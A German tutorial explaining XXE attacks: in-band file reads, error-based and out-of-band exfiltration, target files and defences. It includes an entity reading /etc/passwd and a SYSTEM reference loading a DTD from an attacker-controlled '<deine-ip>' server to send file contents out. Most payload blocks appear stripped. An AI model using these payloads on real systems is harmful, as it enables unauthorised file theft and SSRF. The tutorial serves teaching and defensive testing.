XXE Attack
Was ist XXE?
XXE (XML External Entity) ist eine Schwachstelle, die auftritt, wenn eine Applikation XML-Daten verarbeitet und dabei externe Entitäten erlaubt. Ein Angreifer kann dies ausnutzen, um:
lokale Dateien vom Server auszulesen
Server Side Request Forgery (SSRF) durchzuführen
interne Systeme zu scannen
Denial-of-Service zu erzeugen
eventuell sogar Code auszuführen (bei unsicheren Parsern)
Für praktische Tests solltest du am besten BurpSuite verwenden – insbesondere den Repeater, um XML-Requests gezielt zu manipulieren und die Responses direkt zu analysieren. Dadurch kannst du schnell Payloads einfügen und mit verschiedenen Varianten experimentieren.
Warum funktioniert das?
XML erlaubt die Definition sogenannter Entities – Platzhalter für Inhalte. Mit einer externen Entity wie:
<!ENTITY myEntity SYSTEM "file:///etc/passwd"> weist man den Parser an, den Inhalt der Datei /etc/passwd zu laden, wann immer &myEntity; im XML auftaucht.
Typen von XXE
1. Basic XXE (In-Band)
Die Datei wird direkt im Response sichtbar.
Warum funktioniert das? Der Parser ersetzt &xxe; mit dem Inhalt der Datei. Die Antwort des Servers zeigt uns den Inhalt direkt an.
2. Error-Based XXE
Hier wird eine Datei über Umwege in einer Fehlermeldung sichtbar gemacht. Dabei brauchst du einen eigenen Webserver, der die bösartige DTD-Datei hostet.
malicious.dtd (auf eigenem Webserver, z. B. python3 -m http.server 8000):
XML Input:
Erklärung:
%ext;enthält den Dateiinhalt%eval;baut daraus eine neue Entity%error;%error;triggert einen Fehler, wenn die Datei nicht existiert, und der Pfad (mit%ext) erscheint im Errorlog oder ResponseDie Datei
malicious.dtdwird vom XML-Parser über deinen Webserver nachgeladen
3. Out-of-Band XXE (Blind XXE)
Nutzt externen Callback (HTTP/FTP), um Inhalte abzugreifen, wenn keine direkte Antwort zurückkommt. Auch hier benötigst du einen eigenen Webserver, z. B. mit Python:
XML Input:
oob.dtd (gehostet auf deinem Webserver):
Erklärung:
%xxeholtoob.dtdvom Angreiferoob.dtdreferenziert die Datei/etc/hostnameDiese wird als Parameter
%data;in einen HTTP-GET eingebettet (/?x=...)Die Daten kommen als HTTP-Anfrage auf dem Angreifer-Server an
Beispiel-Test-Setup
Angreifer-Server starten:
Testziel sendet XML mit
SYSTEM "http://<deine-ip>:8000/malicious.dtd"HTTP-Requests beobachten – Dateiinhalt wird als Parameter gesendet
Nützliche Dateien zum Testen
/etc/passwd(Unix)/etc/hostnamec:/windows/win.ini(Windows)c:/windows/system32/drivers/etc/hosts
Schutz vor XXE
DTDs deaktivieren:
Externe Entitäten verbieten:
Whitelist-basierte Input-Validierung
Libraries wie
defusedxml(Python) verwenden
Fazit
XXE ist extrem gefährlich, wenn XML-Eingaben unsicher verarbeitet werden. Besonders bei APIs oder Konfig-Formularen solltest du XML-Eingaben immer kritisch betrachten. Die Kombination aus BurpSuite, einem HTTP-Server und cleveren DTDs reicht oft aus, um Dateien zu exfiltrieren oder Systeme zu scannen.
Tipp: Nutze diese Payloads für CTFs oder Testumgebungen. In Produktivsystemen: nur mit Genehmigung!
Last updated